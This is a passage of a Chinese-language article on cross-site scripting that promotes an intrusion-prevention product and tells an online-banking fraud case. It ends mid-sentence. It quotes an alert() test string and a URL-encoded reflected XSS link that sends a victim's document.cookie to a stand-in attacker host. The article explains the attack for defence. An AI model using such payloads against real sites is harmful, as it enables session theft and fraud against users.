XSS(Cross-site scripting)攻擊是最常見(jiàn)的Web攻擊之一,和其它Web攻擊類(lèi)似的是,XSS也是利用Web頁(yè)面編碼的不嚴(yán)謹(jǐn),和SQL注入漏洞所不同的是,XSS漏洞更加難以發(fā)現(xiàn)避免。就連McAfee、Symantec、VeriSign這種專(zhuān)業(yè)安全公司,也在2008年1月的XEED.com報(bào)告中被爆出官網(wǎng)存在XSS漏洞。
此外,XSS攻擊還有另外一個(gè)與眾不同的特性:雖然駭客利用的是Web業(yè)務(wù)系統(tǒng)存在的漏洞,但真正的受害者卻是隨后訪問(wèn)這些Web系統(tǒng)的用戶(hù)。
正是由于以上兩個(gè)特性——難以避免、難以察覺(jué),所以想要防御XSS攻擊非常困難。啟明星辰推出的天清入侵防御產(chǎn)品,采用基于攻擊手法分析的檢測(cè)方法,對(duì)Web威脅如SQL注入、XSS攻擊等進(jìn)行全面檢測(cè)和防御。與傳統(tǒng)的基于數(shù)據(jù)特征匹配和基于異常模型構(gòu)建的Web安全相比,有著更低的漏報(bào)率和誤報(bào)率。
1.網(wǎng)上銀行謹(jǐn)防XSS攻擊
大家都用過(guò)網(wǎng)站的搜索功能,提供一個(gè)搜索輸入框,用戶(hù)在框中輸入想要查找的內(nèi)容,提交后臺(tái)數(shù)據(jù)庫(kù)檢索。但如果提交的輸入信息不是字符串,而是一段可執(zhí)行指令呢?一個(gè)很常見(jiàn)的XSS例子,在輸入框中填入“"><SCRIPT>alert('XSS%20Testing')</SCRIPT>”(不包括最外側(cè)的雙引號(hào)),一些沒(méi)有做嚴(yán)格過(guò)濾的站點(diǎn)將會(huì)彈出一個(gè)alert框,顯示“XSS Testing”,這意味著這段腳本已經(jīng)被執(zhí)行了。Reflect-based XSS(反射式XSS)利用的就是這樣一個(gè)原理。
以下就是一則利用XSS漏洞進(jìn)行網(wǎng)銀詐騙的真實(shí)案例。
小陳是ebank 網(wǎng)上銀行的安全維護(hù)人員,有一天忽然接到客服部門(mén)轉(zhuǎn)來(lái)的客戶(hù)投訴,稱(chēng)收到一條交易提醒,但該客戶(hù)僅做過(guò)網(wǎng)上銀行的登錄,并沒(méi)有做過(guò)付款動(dòng)作。
“你們給我發(fā)了一封郵件,說(shuō)是有分期付款買(mǎi)筆記本電腦的優(yōu)惠活動(dòng),我就點(diǎn)鏈接進(jìn)來(lái)看,可沒(méi)幾分鐘,我就收到交易提醒,說(shuō)網(wǎng)上付款4784元,請(qǐng)我確認(rèn),但我還沒(méi)下單呢,你們這是怎么回事?”電話里客戶(hù)的聲音明顯帶著壓抑不住的憤怒。
經(jīng)過(guò)確認(rèn),該客戶(hù)使用的PC并不存在病毒,而且也的確是僅點(diǎn)擊了廣告郵件的鏈接而已。“那你把這封郵件發(fā)給我看看吧”,小陳在排除了其它可能性后,這么告訴客戶(hù),“分析出結(jié)果我們的客服人員將第一時(shí)間通知您,您現(xiàn)在的這筆費(fèi)用我們先凍結(jié),待解決后給您恢復(fù)”。
在收到客戶(hù)轉(zhuǎn)發(fā)來(lái)的郵件后,小陳第一眼就看出了問(wèn)題,這不是ebank的系統(tǒng)郵件,而是一封釣魚(yú)郵件,偽造了發(fā)件人名稱(chēng)的釣魚(yú)郵件。其中關(guān)于促銷(xiāo)優(yōu)惠活動(dòng)的頁(yè)面都是截取了真實(shí)活動(dòng)頁(yè)面,但在“點(diǎn)擊參加活動(dòng)”的按鈕后面,卻隱藏著重重的殺機(jī)。
這個(gè)鏈接并非是正常促銷(xiāo)活動(dòng)所在的頁(yè)面,而是如下所示的一個(gè)長(zhǎng)URL
<ahref="http://www.ebank.com/query.asp?word=%3Cscript%3Evar+img+%3D+new+Image%28%29%
3Bimg.src%3D%22http%3A%2F%2Fwww.hackers.com%2F%3F%22%2Bdocument.cookie%3B%3C%2Fscript%3E+">點(diǎn)擊參加活動(dòng)</a>
一般的用戶(hù)在看到URL開(kāi)頭是正確的網(wǎng)站域名ebank,都不會(huì)懷疑郵件的真實(shí)性,而駭客正是利用這一心理,精心設(shè)置了圈套,利用了Ebank的某個(gè)輸入域中存在反射式XSS攻擊漏洞,通過(guò)<script>標(biāo)簽注入